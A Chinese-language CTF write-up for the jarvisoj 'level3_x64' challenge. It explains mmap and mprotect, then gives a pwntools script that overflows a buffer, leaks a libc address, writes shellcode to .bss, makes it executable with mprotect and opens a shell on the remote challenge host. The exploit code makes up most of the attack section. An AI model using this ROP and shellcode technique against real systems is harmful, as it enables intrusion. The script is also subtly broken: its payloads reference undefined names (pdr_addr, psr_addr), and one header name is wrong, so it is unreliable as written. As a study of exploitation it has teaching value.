本题有hint:system和execve函数被禁用,使用mmap和mprotect完成本题
浅谈mmap与mprotect
mmap
将文件映射到一段内存并且可以修改那段内存的权限
头文件 <sys/mman.h>
函数原型
void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
int munmap(void* start,size_t length);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
函数原型
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
prot
映射区域的权限
PROT_EXEC 可执行
PROT_READ 可读取
PROT_WRITE 可写入
PROT_NONE 不能存取
x64下 _libc_csu_init函数,对libc进行初始化
用gadget控制任意函数调用
_libc_csu_init函数的通用gadgets
64位会首先将参数传到6个寄存器中
要对寄存器操作可以在栈中部署shellcode控制寄存器,但是NX保护开启,堆栈不可执行,不能直接写入shellcode,就需要利用gadget
gadget本质是一个程序或者libc中的汇编指令
大致攻击思路:利用mprotect()函数修改.bss段为可写入可执行,写入shellcode,get shell
1.checksec+运行
64位+NX保护
2.强大IDA进行中
1.main函数
2._vulnerable_function
buf offset =0x80
具体步骤:
- 泄露libc基地址
- 将shellcode写入.bss段
- 调用read函数,将.bss段地址与mprotect函数写入got表
- 调用mprotect函数,修改.bss段权限
- 执行shellcode
直接上脚本
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('pwn2.jarvisoj.com',9884)
#p = process('./level3_x64')
level5 = ELF('level3x64')
libc = ELF('libc-2.19.so')
vulfun_addr = 0x4005E6
plt_write = level5.plt['write']
plt_read = level5.plt['read']
got_write = level5.got['write']
rdi_addr = 0x4006b3
rsi_addr = 0x4006b1
payload1 = 'a'*0x88 + p64(pdr_addr) + p64(1) + p64(psr_addr) + p64(got_write) + p64(0) + p64(plt_write) + p64(vulfun_addr)
p.recvuntil("Input:\n")
p.send(payload1)
pause()
write_addr = u64(p.recv(8))
libc_mprotect = libc.symbols['mprotect']
libc_write = libc.symbols['write']
mprotect_addr = write_addr - libc_write + libc_mprotect
pxr_addr = write_addr -libc_write + 0x1b8e
bss_addr = level5.bss()
payload2 = 'a'*0x88 + p64(pdr_addr) + p64(0) + p64(psr_addr) +p64(bss_addr) + p64(0) + p64(plt_read) + p64(vulfun_addr)
p.recvuntil("Input:\n")
p.send(payload2)
shellcode = asm(shellcraft.sh())
p.send(shellcode)
pause()
payload3 = 'a'*0x88 + p64(pdr_addr) + p64(0x600000) + p64(psr_addr) + p64(0x1000) + p64(0) + p64(pxr_addr) + p64(7) + p64(mprotect_addr) + p64(bss_addr)
p.recvuntil("Input:\n")
p.send(payload3)
p.interactive()
rwx的十进制表示为7,7作为第3个参数放在rdx,一般不存在有关rdx的gadget,借用_libc_csu_init函数的通用gadgets
更具体的内容参考以下博客